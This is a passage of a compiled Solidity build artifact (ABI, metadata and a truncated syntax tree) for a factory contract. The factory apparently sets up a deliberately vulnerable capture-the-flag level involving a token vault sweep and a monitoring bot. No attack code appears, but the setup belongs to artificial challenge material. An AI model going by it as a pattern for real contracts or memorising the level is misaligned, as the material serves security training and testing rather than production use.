y\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol\":{\"keccak256\":\"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0\",\"dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol\":{\"keccak256\":\"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34\",\"dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol\":{\"keccak256\":\"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd\",\"dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/levels/DoubleEntryPoint.sol\":{\"keccak256\":\"0x933c270332ea5acadf78d2c2511a7eab75ec06d3f5754de47a0bb8db4f0c0e31\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://393808bd2e10e7b481bf406037591e53f1ca84fd447569ae815f342d707340e6\",\"dweb:/ipfs/QmW9hVkSegCGiNwUmDw7kC1XVth8YWheZRJLoFdXvrpcih\"]},\"src/levels/DoubleEntryPointFactory.sol\":{\"keccak256\":\"0xd66e7129f3877896a170b73a74abcf004ae97c99f8422cb559a5b5f058b193f4\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://50d2fb4d890f96581ca28fe9810c7dffdc2eef091e81a2584fa8c824ddaf4d15\",\"dweb:/ipfs/QmTzWboptc2WjGQH4ShcN4XAkiaskScQ7fFtfgvMsWuSRq\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"contract CryptoVault","name":"cryptoVault","type":"address"},{"internalType":"contract DoubleEntryPoint","name":"instance","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"__trySweep","outputs":[{"internalType":"bool","name":"","type":"bool"},{"internalType":"bytes","name":"","type":"bytes"}]},{"inputs":[{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"payable","type":"function","name":"createInstance","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"},{"inputs":[{"internalType":"address payable","name":"_instance","type":"address"},{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"validateInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/DoubleEntryPointFactory.sol":"DoubleEntryPointFactory"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol":{"keccak256":"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238","urls":["bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0","dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol":{"keccak256":"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b","urls":["bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34","dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol":{"keccak256":"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca","urls":["bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd","dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/levels/DoubleEntryPoint.sol":{"keccak256":"0x933c270332ea5acadf78d2c2511a7eab75ec06d3f5754de47a0bb8db4f0c0e31","urls":["bzz-raw://393808bd2e10e7b481bf406037591e53f1ca84fd447569ae815f342d707340e6","dweb:/ipfs/QmW9hVkSegCGiNwUmDw7kC1XVth8YWheZRJLoFdXvrpcih"],"license":"MIT"},"src/levels/DoubleEntryPointFactory.sol":{"keccak256":"0xd66e7129f3877896a170b73a74abcf004ae97c99f8422cb559a5b5f058b193f4","urls":["bzz-raw://50d2fb4d890f96581ca28fe9810c7dffdc2eef091e81a2584fa8c824ddaf4d15","dweb:/ipfs/QmTzWboptc2WjGQH4ShcN4XAkiaskScQ7fFtfgvMsWuSRq"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/DoubleEntryPointFactory.sol","id":52081,"exportedSymbols":{"Context":[48281],"CryptoVault":[51645],"DelegateERC20":[51463],"DoubleEntryPoint":[51850],"DoubleEntryPointFactory":[52080],"ERC20":[47861],"Forta":[51577],"IDetectionBot":[51471],"IERC20":[47939],"IERC20Metadata":[47964],"IForta":[51489],"LegacyToken":[51720],"Level":[55508],"Ownable":[46700]},"nodeType":"SourceUnit","src":"33:2040:72","nodes":[{"id":51852,"nodeType":"PragmaDirective","src":"33:23:72","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":51853,"nodeType":"ImportDirective","src":"58:32:72","nodes":[],"absolutePath":"src/levels/DoubleEntryPoint.sol","file":"./DoubleEntryPoint.sol","nameLocation":"-1:-1:-1","scope":52081,"sourceUnit":51851,"symbolAliases":[],"unitAlias":""},{"id":51854,"nodeType":"ImportDirective","src":"91:26:72","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"./base/Level.sol","nameLocation":"-1:-1:-1","scope":52081,"sourceUnit":55509,"symbolAliases":[],"unitAlias":""},{"id":52080,"nodeType":"ContractDefinition","src":"119:1953:72","nodes":[{"id":51946,"nodeType":"FunctionDefinition","src":"167:833:72","nodes":[],"body":{"id":51945,"nodeType":"Block","src":"250:750:72","nodes":[],"statements":[{"assignments":[51866],"declarations":[{"constant":false,"id":51866,"mutability":"mutable","name":"oldToken","nameLocation":"303:8:72","nodeType":"VariableDeclaration","scope":51945,"src":"291:20:72","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_LegacyToken_$51720","typeString":"contract LegacyToken"},"typeName":{"id":51865,"nodeType":"UserDefinedTypeName","pathNode":{"id":51864,"name":"LegacyToken","nameLocations":["291:11:72"],"nodeType":"IdentifierPath","referencedDeclaration":51720,"src":"291:11:72"},"referencedDeclaration":51720,"src":"291:11:72","typeDescriptions":{"typeIdentifier":"t_contract$_LegacyToken_$51720","typeString":"contract LegacyToken"}},"visibility":"internal"}],"id":51871,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":51869,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"314:15:72","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_LegacyToken_$51720_$","typeString":"function () returns (contract LegacyToken)"},"typeName":{"id":51868,"nodeType":"UserDefinedTypeName","pathNode":{"id":51867,"name":"LegacyToken","nameLocations":["318:11:72"],"nodeType":"IdentifierPath","referencedDeclaration":51720,"src":"318:11:72"},"referencedDeclaration":51720,"src":"318:11:72","typeDescriptions":{"typeIdentifier":"t_contract$_LegacyToken_$51720","typeString":"contract LegacyToken"}}},"id":51870,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"314:17:72","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_LegacyToken_$51720","typeString":"contract LegacyToken"}},"nodeType":"VariableDeclarationStatement","src":"291:40:72"},{"assignments":[51874],"declarations":[{"constant":false,"id":51874,"mutability":"mutable","name":"forta","nameLocation":"386:5:72","nodeType":"VariableDeclaration","scope":51945,"src":"380:11:72","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"},"typeName":{"id":51873,"nodeType":"UserDefinedTypeName","pathNode":{"id":51872,"name":"Forta","nameLocations":["380:5:72"],"nodeType":"IdentifierPath","referencedDeclaration":51577,"src":"380:5:72"},"referencedDeclaration":51577,"src":"380:5:72","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"visibility":"internal"}],"id":51879,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":51877,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"394:9:72","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_Forta_$51577_$","typeString":"function () returns (contract Forta)"},"typeName":{"id":51876,"nodeType":"UserDefinedTypeName","pathNode":{"id":51875,"name":"Forta","nameLocations":["398:5:72"],"nodeType":"IdentifierPath","referencedDeclaration":51577,"src":"398:5:72"},"referencedDeclaration":51577,"src":"398:5:72","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}}},"id":51878,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"394:11:72","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"nodeType":"VariableDeclarationStatement","src":"380:25:72"},{"assignments":[51882],"declarations":[{"constant":false,"id":51882,"mutability":"mutable","name":"vault","nameLocation":"463:5:72","nodeType":"VariableDeclaration","scope":51945,"src":"451:17:72","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_CryptoVault_$51645","typeString":"contract CryptoVault"},"typeName":{"id":51881,"nodeType":"UserDefinedTypeName","pathNode":{"id":51880,"name":"CryptoVault","nameLocations":["451:11:72"],"nodeType":"IdentifierPath","referencedDeclaration":51645,"src":"451:11:72"},"referencedDeclaration":51645,"src":"451:11:72","typeDescriptions":{"typeIdentifier":"t_contract$_CryptoVault_$51645","typeString":"contract CryptoVault"}},"visibility":"internal"}],"id":51888,"initialValue":{"arguments":[{"id":51886,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51858,"src":"487:7:72","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51885,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"471:15:72","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$_t_address_$returns$_t_contract$_CryptoVault_$51645_$","typeString":"function (address) returns (contract CryptoVault)"},"typeName":{"id":51884,"nodeType":"UserDefinedTypeName","pathNode":{"id":51883,"name":"CryptoVault","nameLocations":["475:11:72"],"nodeType":"IdentifierPath","referencedDeclaration":51645,"src":"475:11:72"},"referencedDeclaration":51645,"src":"475:11:72","typeDescriptions":{"typeIdentifier":"t_contract$_CryptoVault_$51645","typeString":"contract CryptoVault"}}},"id":51887,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"471:24:72","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_CryptoVault_$51645","typeString":"contract CryptoVault"}},"nodeType":"VariableDeclarationStatement","src":"451:44:72"},{"assignments":[51891],"declarations":[{"constant":false,"id":51891,"mutability":"mutable","name":"newToken","nameLocation":"553:8:72","nodeType":"VariableDeclaration","scope":51945,"src":"536:25:72","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_DoubleEntryPoint_$51850","typeString":"contract DoubleEntryPoint"},"typeName":{"id":51890,"nodeType":"UserDefinedTypeName","pathNode":{"id":51889,"name":"DoubleEntryPoint","nameLocations":["536:16:72"],"nodeType":"IdentifierPath","referencedDeclaration":51850,"src":"536:16:72"},"referencedDeclaration":51850,"src":"536:16:72","typeDescriptions":{"typeIdentifier":"t_contract$_DoubleEntryPoint_$51850","typeString":"contract DoubleEntryPoint"}},"visibility":"internal"}],"id":51909,"initialValue":{"arguments":[{"arguments":[{"id":51897,"name":"oldToken","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51866,"src":"593:8:72","typeDescriptions":{"typeIdentifier":"t_contract$_LegacyToken_$51720","typeString":"contract LegacyToken"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_LegacyToken_$51720","typeString":"contract LegacyToken"}],"id":51896,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"585:7:72","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51895,"name":"address","nodeType":"ElementaryTypeName","src":"585:7:72","typeDescriptions":{}}},"id":51898,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"585:17:72","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"id":51901,"name":"vault","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51882,"src":"612:5:72","typeDescriptions":{"typeIdentifier":"t_contract$_CryptoVault_$51645","typeString":"contract CryptoVault"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_CryptoVault_$51645","typeString":"contract CryptoVault"}],"id":51900,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"604:7:72","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51899,"name":"address","nodeType":"ElementaryTypeName","src":"604:7:72","typeDescriptions":{}}},"id":51902,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"604:14:72","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"id":51905,"name":"forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51874,"src":"628:5:72","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}],"id":51904,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"620:7:72","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51903,"name":"address","nodeType":"ElementaryTypeName","src":"620:7:72","typeDescriptions":{}}},"id":51906,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"620:14:72","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51907,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51858,"src":"636:7:72","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"id":51894,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"564:20:72","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$_t_address_$_t_address_$_t_address_$_t_address_$returns$_t_contract$_DoubleEntryPoint_$51850_$","typeString":"function (address,address,address,address) returns (contract DoubleEntryPoint)"},"typeName":{"id":51893,"nodeType":"UserDefinedTypeName","pathNode":{"id":51892,"name":"DoubleEntryPoint","nameLocations":["568:16:72"],"nodeType":"IdentifierPath","referencedDeclaration":51850,"src":"568:16:72"},"referencedDeclaration":51850,"src":"568:16:72","typeDescriptions":{"typeIdentifier":"t_contract$_DoubleEntryPoint_$51850","typeString":"contract DoubleEntryPoint"}}},"id":51908,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"564:80:72","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_DoubleEntryPoint_$51850","typeString":"contract DoubleEntryPoint"}},"nodeType":"VariableDeclarationStatement","src":"536:108:72"},{"expression":{"arguments":[{"arguments":[{"id":51915,"name":"newToken","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51891,"src":"723:8:72","typeDescriptions":{"typeIdentifier":"t_contract$_DoubleEntryPoint_$51850","typeString":"contract DoubleEntryPoint"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DoubleEntryPoint_$51850","typeString":"contract DoubleEntryPoint"}],"id":51914,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"715:7:72","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51913,"name":"address","nodeType":"ElementaryTypeName","src":"715:7:72","typeDescriptions":{}}},"id":51916,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"715:17:72","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":51910,"name":"vault","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51882,"src":"695:5:72","typeDescriptions":{"typeIdentifier":"t_contract$_CryptoVault_$51645","typeString":"contract CryptoVault"}},"id":51912,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"701:13:72","memberName":"setUnderlying","nodeType":"MemberAccess","referencedDeclaration":51617,"src":"695:19:72","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":51917,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"695:38:72","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51918,"nodeType":"ExpressionStatement","src":"695:38:72"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"id":51925,"name":"newToken","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51891,"src":"844:8:72","typeDescriptions":{"typeIdentifier":"t_contract$_DoubleEntryPoint_$51850","typeString":"contract DoubleEntryPoint"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DoubleEntryPoint_$51850","typeString":"contract DoubleEntryPoint"}],"id":51924,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"836:7:72","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51923,"name":"address","nodeType":"ElementaryTypeName","src":"836:7:72","typeDescriptions":{}}},"id":51926,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"836:17:72","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51922,"name":"DelegateERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51463,"src":"822:13:72","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_DelegateERC20_$51463_$","typeString":"type(contract DelegateERC20)"}},"id":51927,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"822:32:72","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}],"expression":{"id":51919,"name":"oldToken","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51866,"src":"791:8:72","typeDescriptions":{"typeIdentifier":"t_contract$_LegacyToken_$51720","typeString":"contract LegacyToken"}},"id":51921,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"800:21:72","memberName":"delegateToNewContract","nodeType":"MemberAccess","referencedDeclaration":51682,"src":"791:30:72","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_DelegateERC20_$51463_$returns$__$","typeString":"function (contract DelegateERC20) external"}},"id":51928,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"791:64:72","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51929,"nodeType":"ExpressionStatement","src":"791:64:72"},{"expression":{"arguments":[{"arguments":[{"id":51935,"name":"vault","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51882,"src":"940:5:72","typeDescriptions":{"typeIdentifier":"t_contract$_CryptoVault_$51645","typeString":"contract CryptoVault"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_CryptoVault_$51645","typeString":"contract CryptoVault"}],"id":51934,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"932:7:72","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51933,"name":"address","nodeType":"ElementaryTypeName","src":"932:7:72","typeDescriptions":{}}},"id":51936,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"932:14:72","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"313030","id":51937,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"948:9:72","subdenomination":"ether","typeDescriptions":{"typeIdentifier":"t_rational_100000000000000000000_by_1","typeString":"int_const 100000000000000000000"},"value":"100"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_100000000000000000000_by_1","typeString":"int_const 100000000000000000000"}],"expression":{"id":51930,"name":"oldToken","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51866,"src":"918:8:72","typeDescriptions":{"typeIdentifier":"t_contract$_LegacyToken_$51720","typeString":"contract LegacyToken"}},"id":51932,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"927:4:72","memberName":"mint","nodeType":"MemberAccess","referencedDeclaration":51669,"src":"918:13:72","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256) external"}},"id":51938,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"918:40:72","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51939,"nodeType":"ExpressionStatement","src":"918:40:72"},{"expression":{"arguments":[{"id":51942,"name":"newToken","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51891,"src":"984:8:72","typeDescriptions":{"typeIdentifier":"t_contract$_DoubleEntryPoint_$51850","typeString":"contract DoubleEntryPoint"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DoubleEntryPoint_$51850","typeString":"contract DoubleEntryPoint"}],"id":51941,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"976:7:72","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51940,"name":"address","nodeType":"ElementaryTypeName","src":"976:7:72","typeDescriptions":{}}},"id":51943,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"976:17:72","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":51863,"id":51944,"nodeType":"Return","src":"969:24:72"}]},"baseFunctions":[55498],"functionSelector":"7726f776","implemented":true,"kind":"function","modifiers":[],"name":"createInstance","nameLocation":"176:14:72","overrides":{"id":51860,"nodeType":"OverrideSpecifier","overrides":[],"src":"223:8:72"},"parameters":{"id":51859,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51858,"mutability":"mutable","name":"_player","nameLocation":"199:7:72","nodeType":"VariableDeclaration","scope":51946,"src":"191:15:72","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51857,"name":"address","nodeType":"ElementaryTypeName","src":"191:7:72","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"190:17:72"},"returnParameters":{"id":51863,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51862,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":51946,"src":"241:7:72","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51861,"name":"address","nodeType":"ElementaryTypeName","src":"241:7:72","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibi